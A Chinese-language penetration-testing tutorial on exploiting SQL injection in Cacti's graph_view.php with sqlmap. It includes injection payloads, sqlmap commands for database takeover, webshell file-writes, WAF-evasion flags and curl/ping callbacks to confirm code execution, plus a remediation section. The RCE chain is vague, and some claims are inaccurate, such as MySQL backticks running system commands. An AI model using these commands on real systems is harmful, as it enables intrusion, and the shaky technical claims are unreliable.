SQL注入实战：利用sqlmap深度利用Cacti高危漏洞链

1. 项目概述：一次针对Cacti高危漏洞的实战化渗透测试

最近在复现和分析一些历史高危漏洞时，Cacti监控系统中的CVE-2023-39361和CVE-2024-31459引起了我的注意。这两个漏洞都源于graph_view.php文件中的SQL注入点，并且能够进一步导致远程代码执行，危害等级非常高。很多安全从业者和爱好者可能都听说过sqlmap这个神器，但如何将其精准地应用于一个真实、复杂的漏洞场景，尤其是像这种需要多步利用的链式漏洞，其中的门道不少。今天，我就结合这次对Cacti漏洞的实战测试，从头到尾拆解一遍如何利用sqlmap进行深度注入，并最终理解其通向RCE的原理。无论你是正在学习Web安全的初学者，还是想深化工具使用技巧的进阶者，这篇从环境搭建、漏洞定位、工具利用到原理剖析的完整记录，应该都能给你带来一些直接的参考。

简单来说，我们的目标是：从一个已知的漏洞公告（CVE编号）出发，搭建或定位存在漏洞的Cacti环境，找到那个存在问题的graph_view.php文件及其参数，使用sqlmap自动化验证并利用SQL注入漏洞，进而分析其如何与Cacti的系统特性结合导致远程代码执行。这个过程不仅涉及sqlmap命令的灵活运用，更关键的是理解漏洞的上下文和后续利用链的构造逻辑。我会把踩过的坑、参数调整的思考以及手动验证的技巧都揉碎了讲清楚。

2. 漏洞背景与Cacti环境认知

在动手之前，我们得先搞清楚目标是什么。Cacti是一套基于PHP/MySQL的开源网络图形化监控工具，它通过SNMP协议获取数据，然后用RRDtool绘制成直观的图表。在运维圈子里，它的应用非常广泛。graph_view.php是其中一个用于查看监控图表的核心页面。

CVE-2023-39361和CVE-2024-31459这两个漏洞，本质上是同一个graph_view.php文件中，对graph_start和graph_end等参数过滤不严导致的二次SQL注入。攻击者通过注入恶意SQL语句，可以篡改数据库查询。更危险的是，Cacti的部分功能（如poller_output表的数据处理）会执行数据库中存在的数据，如果通过SQL注入将恶意代码写入数据库的特定字段，随后当Cacti的后台进程或特定页面读取并执行这些数据时，就可能触发远程代码执行。

注意：本文所有操作均在授权测试环境（如自行搭建的漏洞靶场）中进行。严禁对任何未经授权的系统进行测试，此举违法且违背职业道德。

理解这个“SQL注入 -> 数据写入 -> 后续触发执行”的链式逻辑至关重要。它不再是简单的“注入即获取数据”，而是需要利用注入点作为入口，向数据库的“特定位置”写入“特定内容”，然后等待或触发另一个“执行流程”。这要求我们对sqlmap的使用不能停留在简单的--dbs、--tables，而要深入到--file-write、--os-shell失败时的替代方案：即通过--sql-query或--sql-shell来精确操纵数据库内容。

为了复现，你需要一个存在漏洞的Cacti环境。通常，我们可以从Cacti官网下载历史版本（例如受影响的1.2.24之前版本）进行安装。安装过程需要LAMP环境，这里不过多赘述。关键是要确保安装的版本是存在漏洞的。安装完成后，访问http://your-ip/cacti/graph_view.php应该能看到页面。

3. 手工验证与漏洞点定位

在祭出sqlmap这类自动化工具前，我强烈建议先进行简单的手工验证。这能帮你快速理解漏洞触发的条件和参数，为后续使用工具提供关键信息。

首先，我们访问graph_view.php页面。通过观察URL和表单，通常会发现它接收诸如local_graph_id、graph_start、graph_end等参数来控制显示哪个图表以及时间范围。漏洞公告指出，graph_start和graph_end是存在问题的参数。

一个基础的手工测试是在参数值后添加一个单引号'。例如，访问：http://your-ip/cacti/graph_view.php?action=view&local_graph_id=1&graph_start=0&graph_end=100'

观察页面返回。如果页面返回了数据库错误信息（如MySQL的语法错误），那么基本确认存在SQL注入点。有时错误信息可能被屏蔽，页面返回空白或与正常响应不同（如缺少部分图表元素），这也是一种间接的迹象。

进一步，我们可以尝试经典的and 1=1和and 1=2逻辑测试：

• ...&graph_end=100 and 1=1 -- -
• ...&graph_end=100 and 1=2 -- -

如果第一个请求返回正常页面，第二个请求返回异常（如图表加载失败、页面布局错乱），那么就可以基本断定该参数存在数值型或可被转换为数值型的SQL注入。这里的-- -是注释符，用于注释掉原SQL语句中后续的部分。

在我的测试中，发现graph_end参数对'敏感，且and 1=1与and 1=2返回结果不同，确认存在注入。并且，初步判断为数字型注入，因为直接拼接数字和SQL语句片段似乎被数据库执行了。

实操心得：手工验证这一步不能省。它不仅能帮你确认漏洞，更重要的是让你了解应用程序的“脾气”。比如，它是否开启了错误回显？过滤了哪些特殊字符？是GET还是POST请求？这些信息对于后续配置sqlmap的--level、--risk、--tamper等参数有直接指导作用。盲目上sqlmap可能会导致漏报或误报。

4. sqlmap深度配置与注入利用

确认漏洞存在后，我们就可以使用sqlmap进行自动化、深度化的利用。sqlmap的强大在于其丰富的载荷库和绕过技巧，但要想用好，必须根据目标情况精细配置。

一个最基本的启动命令如下：

sqlmap -u "http://your-ip/cacti/graph_view.php?action=view&local_graph_id=1&graph_start=0&graph_end=100" -p graph_end

• -u: 指定目标URL。
• -p: 指定需要测试的参数，这里我们指定graph_end。如果不指定，sqlmap会测试URL和Body中的所有参数，速度较慢。

运行后，sqlmap会询问你是否跳过其他参数的测试，选择Y。很快，它应该能检测到基于布尔盲注和基于时间的盲注漏洞。

但是，我们的目标不仅仅是检测。我们需要利用这个注入点，向数据库写入能导致RCE的数据。这就需要用到sqlmap更高级的功能。

第一步：获取数据库信息在确认注入点后，我们首先获取当前数据库名、用户等信息，这有助于理解我们在数据库中的权限。

sqlmap -u "http://your-ip/cacti/graph_view.php?action=view&local_graph_id=1&graph_start=0&graph_end=100" -p graph_end --current-db --current-user

如果返回成功，你可能会看到当前数据库是cacti，用户可能是cactiuser@localhost。这很重要，因为写入文件等操作需要高权限。

第二步：枚举表结构，寻找关键表导致RCE的关键在于向poller_output表写入恶意数据。我们需要先确认这张表是否存在，以及它的结构。

sqlmap -u "URL" -p graph_end -D cacti --tables

从表列表中查找poller_output。然后查看其结构：

sqlmap -u "URL" -p graph_end -D cacti -T poller_output --columns

关键字段通常包括：id,local_data_id,rrd_name,time,output。其中output字段是我们写入恶意负载的目标。

第三步：通过SQL注入写入恶意数据这是最核心的一步。我们需要构造一条INSERT或UPDATE语句，通过SQL注入点执行，将恶意代码写入output字段。由于是通过注入执行，我们使用sqlmap的--sql-query或--sql-shell功能。

首先，我们需要知道poller_output表里已有的数据格式，以便模仿。可以先用--sql-query查询一下：

sqlmap -u "URL" -p graph_end --sql-query "SELECT * FROM cacti.poller_output LIMIT 1"

如果执行成功，你会看到一条记录。注意output字段的格式。在导致RCE的利用中，output字段的内容会被Cacti的poller进程当作shell命令执行。因此，我们可以写入如`id`这样的系统命令（反引号在MySQL中会执行系统命令，但取决于数据库配置和权限，成功率不高）。更通用的方法是写入PHP代码，如果Cacti有文件包含漏洞，则可导致代码执行。但在这个特定漏洞链中，是利用了Cacti对output字段内容处理的缺陷。

根据公开的漏洞利用细节，一种方法是向poller_output插入一条记录，其中output字段包含恶意命令。例如：

INSERT INTO poller_output (local_data_id, rrd_name, time, output) VALUES (1, '恶意rrd名', NOW(), '恶意命令输出');

而恶意命令可以通过MySQL的INTO OUTFILE功能写入一个PHP Webshell，但这需要FILE权限，且知道Web目录的绝对路径。

考虑到权限和路径的不确定性，在实战中利用这个漏洞链需要更精巧的构造。我们可以使用sqlmap的--os-shell功能尝试直接获取一个伪shell，但其原理也是通过INTO OUTFILE写文件，成功率受制于权限。

一个更稳妥的、贴合漏洞原理的利用思路是：分两步走。

1. 利用注入点写入Webshell：如果数据库用户有FILE权限，并且我们知道Web根目录（如/var/www/html/cacti/），可以直接尝试写入Webshell。

   sqlmap -u "URL" -p graph_end --file-write=/本地路径/shell.php --file-dest=/远程Web路径/shell.php

   但这通常很难成功，因为权限和路径是两大拦路虎。
2. 利用poller_output触发命令执行：这是该漏洞链的独特之处。我们可以通过注入，向poller_output表的output字段写入一个特殊的字符串，当Cacti的poller下次运行时，会执行这个字符串。例如，在某些配置下，如果output字段以特定的PHP代码开头，可能会被包含执行。但这需要深入研究Cacti的源代码。

由于漏洞细节的复杂性，完全自动化的利用链可能无法仅靠sqlmap的默认参数完成。这时，我们需要切换到--sql-shell模式，进行交互式的、更精细的SQL操作。

sqlmap -u "URL" -p graph_end --sql-shell

进入shell后，你可以像在MySQL客户端里一样执行SQL语句。例如：

sql-shell> SELECT @@version; sql-shell> SELECT @@secure_file_priv;

secure_file_priv的值决定了INTO OUTFILE能写到哪里。如果值为空，则可以写入任意目录；如果为NULL，则禁止文件写入；如果是一个路径，则只能写入该目录下。

注意事项：在实际测试中，我遇到的绝大多数MySQL安装，secure_file_priv默认都是NULL或者一个受限路径。这意味着通过数据库直接写Webshell的路径常常被堵死。这也是为什么CVE-2023-39361/CVE-2024-31459的利用链更侧重于通过写入poller_output触发后续行为，而非直接写文件。sqlmap的--os-shell在这些场景下会直接失败。

5. 从SQL注入到远程代码执行的原理剖析

理解了利用sqlmap进行注入的操作后，我们有必要深入看看，为什么一个graph_view.php的SQL注入能导致远程代码执行。这涉及到对Cacti架构的深入理解。

Cacti的主要工作流程是：通过poller.php（通常由crontab定时执行）收集数据，将原始数据存入poller_output表，再由另一个进程或poller.php自身处理poller_output表中的数据，更新RRD文件，并清空该表。

关键漏洞点在于：graph_view.php中的graph_start/graph_end参数，在构造SQL查询时，未经充分过滤就直接拼接到了查询语句中。攻击者利用这一点，可以执行任意的SQL语句。

那么，如何跳到RCE呢？核心在于篡改poller_output表的数据。如果攻击者能通过SQL注入，向poller_output表的output字段插入精心构造的数据，那么当下一次poller进程运行时，它会读取并处理这些数据。

在Cacti的某些版本或特定配置下，poller处理output字段的逻辑可能存在缺陷。例如，如果output字段的内容被直接传递给system()、exec()、passthru()等PHP函数，或者被用于构造一个最终会被执行的命令字符串，那么攻击者插入的系统命令就会被执行。

具体到利用链，攻击者可能需要完成以下步骤：

1. 确定注入点与上下文：确认graph_view.php的注入点可用，且当前数据库用户有对poller_output表的写权限（INSERT/UPDATE）。
2. 构造恶意负载：研究Cacti源代码，找到poller处理poller_output.output字段的代码路径。构造一个能被该代码路径解析并最终触发命令执行的字符串。这个字符串可能包含特定的前缀、特制的命令拼接等。
3. 执行注入写入：通过SQL注入，执行一条INSERT INTO poller_output ...语句，将步骤2构造的恶意负载写入output字段。这步正是我们使用sqlmap的--sql-query或交互式--sql-shell要完成的。
4. 触发执行：等待Cacti的poller定时任务执行（通常每分钟一次），或者寻找方法主动触发poller的执行。恶意负载被处理，命令得以执行。

这个过程充满了不确定性，高度依赖于Cacti的版本、配置和代码逻辑。这也是为什么公开的漏洞利用脚本（Exploit）往往比单纯使用sqlmap更有效，因为它们精确编码了针对特定版本所需的恶意负载和触发方式。

实操心得：在面对这类链式漏洞时，sqlmap的角色更像是一把“万能钥匙”的前半截——它能帮你打开SQL注入这扇门（写入数据）。但门后房间里的机关（如何触发RCE），需要你根据房间的构造（目标系统源码）来单独设计。单纯依赖sqlmap的全自动功能往往无法走完全程。结合手动代码审计、理解漏洞公告中的细节描述、以及参考公开的PoC，才是成功利用的关键。

6. sqlmap高级参数调优与绕过技巧

在针对Cacti这种实际应用的测试中，你可能会遇到各种WAF（Web应用防火墙）或简单的输入过滤。这就需要我们对sqlmap的参数有更深入的了解。

1. 延迟与超时设置 (--delay,--timeout)对于网络不稳定或处理速度慢的目标，可以设置请求延迟和超时时间，避免误判。

sqlmap -u "URL" -p graph_end --delay=1 --timeout=15

--delay=1表示每个HTTP请求间隔1秒，--timeout=15设置连接超时为15秒。

2. 随机化用户代理 (--random-agent)有些应用会屏蔽默认的sqlmap User-Agent。使用--random-agent可以让sqlmap从内置的浏览器UA列表中随机选择一个，更好地模拟正常浏览器。

3. 使用代理池 (--proxy)在需要隐藏自身IP或绕过某些基于IP的简单限制时，可以使用代理。

sqlmap -u "URL" -p graph_end --proxy="http://127.0.0.1:8080"

如果你使用Burp Suite等代理工具进行调试，这个参数非常有用，可以在Burp中观察sqlmap发出的所有请求。

4. 载荷篡改脚本 (--tamper)这是绕过WAF的利器。Tamper脚本可以对注入载荷进行混淆、编码等操作。例如，space2comment脚本将空格替换为/**/，between脚本用BETWEEN替换大于号。

sqlmap -u "URL" -p graph_end --tamper=space2comment,between

针对Cacti，可以尝试常用的tamper脚本组合。但要注意，过度混淆可能导致载荷失效。

5. 指定注入技术 (--technique)sqlmap支持多种注入检测技术：B（布尔盲注）、E（报错注入）、U（联合查询）、S（堆叠注入）、T（时间盲注）。如果知道目标注入点类型，可以指定以提高效率。

sqlmap -u "URL" -p graph_end --technique=B

对于Cacti这个漏洞，初步手工测试是布尔型，所以可以优先使用B。

6. 风险与等级 (--risk,--level)

• --risk: 风险等级（1-3），等级越高，使用的Payload越可能对数据库造成破坏（如OR 1=1可能导致大量数据被操作）。默认是1。在需要执行INSERT或UPDATE操作时，可能需要调高到3。
• --level: 测试等级（1-5），等级越高，发送的测试Payload越多，测试也更全面（包括对HTTP头等处的测试）。默认是1。对于有防护的目标，可以尝试调高到2或3。

sqlmap -u "URL" -p graph_end --risk=3 --level=3

7. 处理Cookie与Session如果目标应用需要登录，你需要将有效的Cookie提供给sqlmap。

sqlmap -u "URL" -p graph_end --cookie="PHPSESSID=你的sessionid; Cacti=你的cacti cookie"

你可以先通过浏览器正常登录Cacti，然后从开发者工具（F12）的网络标签中复制Cookie值。

结合以上参数，一个针对有简单防护的Cacti的完整探测命令可能如下：

sqlmap -u "http://target/cacti/graph_view.php?action=view&local_graph_id=1&graph_start=0&graph_end=100" \ -p graph_end \ --technique=B \ --level=2 \ --risk=2 \ --delay=0.5 \ --random-agent \ --cookie="Cacti=abc123def456..." \ --current-db

7. 常见问题排查与实战心得

在实际操作中，你一定会遇到各种各样的问题。下面我整理了一些常见的情况和解决思路。

问题1：sqlmap检测不到注入点，但手工测试有明显异常。

• 可能原因1：参数类型判断错误。sqlmap可能将数字型参数误判为字符型，或者反之。可以尝试用--dbms指定数据库类型，或用--no-cast关闭载荷类型转换。
• 可能原因2：动态页面或Token干扰。如果页面每次请求都有变化（如包含动态Token），sqlmap的测试请求可能会因Token失效而失败。可以尝试使用--csrf-token和--csrf-url参数来处理。
• 可能原因3：WAF拦截。sqlmap的默认Payload被WAF识别并拦截。尝试使用--tamper脚本混淆，或降低请求频率（--delay），或使用代理。

问题2：能检测到注入，但无法枚举数据（--dbs失败）。

• 可能原因1：数据库用户权限过低。当前注入点对应的数据库用户可能只有普通查询权限，没有SELECT系统表的权限（如information_schema）。可以尝试直接猜解已知的表名和列名，使用--common-tables和--common-columns参数。
• 可能原因2：盲注深度大，响应不明显。时间盲注或布尔盲注的区分度不够。可以尝试增加--time-sec（时间盲注的延迟时间）或使用--string/--not-string参数手动指定判断页面真假的标志字符串。

问题3：使用--os-shell或--file-write失败。

• 根本原因：数据库权限不足。这是最常见的原因。需要FILE权限和secure_file_priv设置允许。可以通过--sql-query "SELECT @@version, @@secure_file_priv, user(), file_priv FROM mysql.user WHERE user = CURRENT_USER()"来检查权限。如果secure_file_priv为NULL或非Web目录，--os-shell基本无法成功。此时应转向利用应用本身的逻辑漏洞（如本漏洞中的poller_output链）。

问题4：如何判断漏洞利用是否成功？对于SQL注入本身，sqlmap的成功检测就是证明。对于RCE，则需要更明确的回显。如果通过写入poller_output触发命令，可以尝试执行一个能观察到效果的命令，例如：

• 写入一个测试文件：echo test123 > /tmp/test_rce.txt（如果知道路径）。
• 发送一个DNS或HTTP请求：使用curl http://your-server/或ping -c 1 your-server，在你的服务器上查看日志。
• 利用Cacti自身的回显：如果命令执行结果能被Cacti记录或显示在某个地方（如日志文件、页面），则可以尝试读取。

实战心得与技巧：

1. 信息收集是第一步也是最重要的一步：在真正开始注入前，尽量多地收集目标信息。包括Cacti的准确版本、操作系统、Web服务器、PHP版本、数据库版本和类型。这些信息能帮你选择最合适的Payload和利用方式。
2. 善用--batch和--answers：在自动化测试或对已知目标进行重复测试时，使用--batch可以让sqlmap自动选择默认选项，无需人工交互。--answers参数可以预设答案，例如--answers="extending=N,follow=N"。
3. 结合手动测试与工具使用：不要完全依赖工具。对于关键步骤，如确认注入点类型、测试WAF规则、构造最终的RCE Payload，手动测试和思考往往更有效。用Burp Suite拦截sqlmap的请求，分析其Payload构造方式，能帮你更好地理解原理和调整策略。
4. 注意日志与痕迹清理：在授权测试中，虽然目标是漏洞验证，但也应尽量避免对目标系统造成不必要的负载或留下大量测试日志。测试完成后，如果可能，应清理通过注入插入的测试数据。使用sqlmap的--cleanup功能可以尝试清理它创建的临时表。

8. 漏洞修复与安全加固建议

在完成漏洞验证和分析后，从防御者的角度，了解如何修复和防范此类漏洞同样重要。

对于Cacti管理员：

1. 立即升级：最根本的解决方法是升级到已修复该漏洞的Cacti版本。请关注Cacti官方安全公告，及时应用补丁。
2. 最小权限原则：运行Cacti的数据库用户应仅被授予其所需的最小权限。绝对不要使用root或具有FILE、GRANT等高级权限的账户。只赋予对cacti数据库的SELECT、INSERT、UPDATE、DELETE权限，必要时可细化到具体表。
3. 输入验证与参数化查询：对于graph_view.php这样的文件，应对所有输入参数进行严格的类型检查和过滤。graph_start和graph_end应强制转换为整数。更重要的是，将代码中的SQL查询从字符串拼接改为使用预处理语句（参数化查询），这是防止SQL注入最有效的方法。
4. Web目录权限控制：确保Web目录（如/var/www/html/cacti/）的权限设置严格，禁止非Web服务用户写入。这可以防止攻击者通过其他漏洞上传Webshell。
5. 网络隔离与访问控制：将Cacti监控系统部署在内网，并通过防火墙限制访问来源IP。如果必须对外提供访问，考虑使用VPN或堡垒机。

对于开发者：

1. 安全编码规范：建立并强制执行安全编码规范，明确要求所有数据库操作必须使用预处理语句。
2. 代码审计与自动化扫描：定期对代码进行安全审计，并集成SAST（静态应用安全测试）工具到开发流程中，在代码提交阶段就发现潜在的SQL注入等问题。
3. 依赖库管理：及时更新项目所使用的第三方库和框架，它们可能包含已知的安全漏洞。

通用安全实践：

1. 部署WAF：虽然不能根除漏洞，但Web应用防火墙可以在漏洞被公开但尚未修复的“空窗期”提供有效的缓解，拦截常见的攻击Payload。
2. 完善的日志与监控：启用并定期审查Web服务器、数据库和应用程序的日志。异常的SQL查询、大量的错误请求、来自单一源的可疑访问模式都可能是攻击迹象。

通过这次对Cacti漏洞的完整复现，我深刻体会到，一个成熟的漏洞利用往往是多个薄弱环节串联的结果。作为攻击方，需要耐心地抽丝剥茧；作为防御方，则需要层层设防，打破攻击链中的任何一环。工具如sqlmap，它极大地提升了我们验证漏洞的效率，但工具背后的原理、局限以及如何根据实际情况调整策略，才是安全测试中更具价值的部分。